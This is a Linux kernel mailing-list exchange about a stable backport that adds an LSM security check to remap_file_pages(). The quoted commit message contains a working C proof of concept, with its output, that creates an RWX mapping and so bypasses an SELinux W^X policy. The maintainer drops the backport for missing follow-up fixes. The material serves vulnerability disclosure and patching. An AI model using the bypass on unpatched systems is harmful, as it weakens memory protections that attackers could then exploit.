Re: [PATCH 5.10] mm: call the security_mmap_file() LSM hook in remap_file_pages()

[Pratyush Yadav <ptyadav@amazon.de>]

On Wed, Feb 19 2025, Greg Kroah-Hartman wrote:

> On Mon, Feb 10, 2025 at 07:10:54PM +0000, Pratyush Yadav wrote:
>> From: Shu Han <ebpqwerty472123@gmail.com>
>>
>> commit ea7e2d5e49c05e5db1922387b09ca74aa40f46e2 upstream.
>>
>> The remap_file_pages syscall handler calls do_mmap() directly, which
>> doesn't contain the LSM security check. And if the process has called
>> personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for
>> RW pages, this will actually result in remapping the pages to RWX,
>> bypassing a W^X policy enforced by SELinux.
>>
>> So we should check prot by security_mmap_file LSM hook in the
>> remap_file_pages syscall handler before do_mmap() is called. Otherwise, it
>> potentially permits an attacker to bypass a W^X policy enforced by
>> SELinux.
>>
>> The bypass is similar to CVE-2016-10044, which bypass the same thing via
>> AIO and can be found in [1].
>>
>> The PoC:
>>
>> $ cat > test.c
>>
>> int main(void) {
>>       size_t pagesz = sysconf(_SC_PAGE_SIZE);
>>       int mfd = syscall(SYS_memfd_create, "test", 0);
>>       const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,
>>               MAP_SHARED, mfd, 0);
>>       unsigned int old = syscall(SYS_personality, 0xffffffff);
>>       syscall(SYS_personality, READ_IMPLIES_EXEC | old);
>>       syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);
>>       syscall(SYS_personality, old);
>>       // show the RWX page exists even if W^X policy is enforced
>>       int fd = open("/proc/self/maps", O_RDONLY);
>>       unsigned char buf2[1024];
>>       while (1) {
>>               int ret = read(fd, buf2, 1024);
>>               if (ret <= 0) break;
>>               write(1, buf2, ret);
>>       }
>>       close(fd);
>> }
>>
>> $ gcc test.c -o test
>> $ ./test | grep rwx
>> 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)
>>
>> Link: https://project-zero.issues.chromium.org/issues/42452389 [1]
>> Cc: stable@vger.kernel.org
>> Signed-off-by: Shu Han <ebpqwerty472123@gmail.com>
>> Acked-by: Stephen Smalley <stephen.smalley.work@gmail.com>
>> [PM: subject line tweaks]
>> Signed-off-by: Paul Moore <paul@paul-moore.com>
>> Signed-off-by: Pratyush Yadav <ptyadav@amazon.de>
>> ---
>>  mm/mmap.c | 4 ++++
>>  1 file changed, 4 insertions(+)
>>
>> diff --git a/mm/mmap.c b/mm/mmap.c
>> index 9f76625a1743..2c17eb840e44 100644
>> --- a/mm/mmap.c
>> +++ b/mm/mmap.c
>> @@ -3078,8 +3078,12 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size,
>>       }
>>
>>       file = get_file(vma->vm_file);
>> +     ret = security_mmap_file(vma->vm_file, prot, flags);
>> +     if (ret)
>> +             goto out_fput;
>>       ret = do_mmap(vma->vm_file, start, size,
>>                       prot, flags, pgoff, &populate, NULL);
>> +out_fput:
>>       fput(file);
>>  out:
>>       mmap_write_unlock(mm);
>> --
>> 2.47.1
>>
>>
>
> This has required fixes for this commit which you did not include here,
> so I'm going to have to drop this from the tree.  Same for the other
> branch you submitted this against.
>
> Please be more careful and always include all needed commits to resolve
> a problem, we don't want to purposfully add bugs to the kernel tree that
> we have already resolved.

My bad. I wanted to fix the CVE assigned to this patch and I didn't
think of looking for follow-up fixes. Will do that next time around.

-- 
Regards,
Pratyush Yadav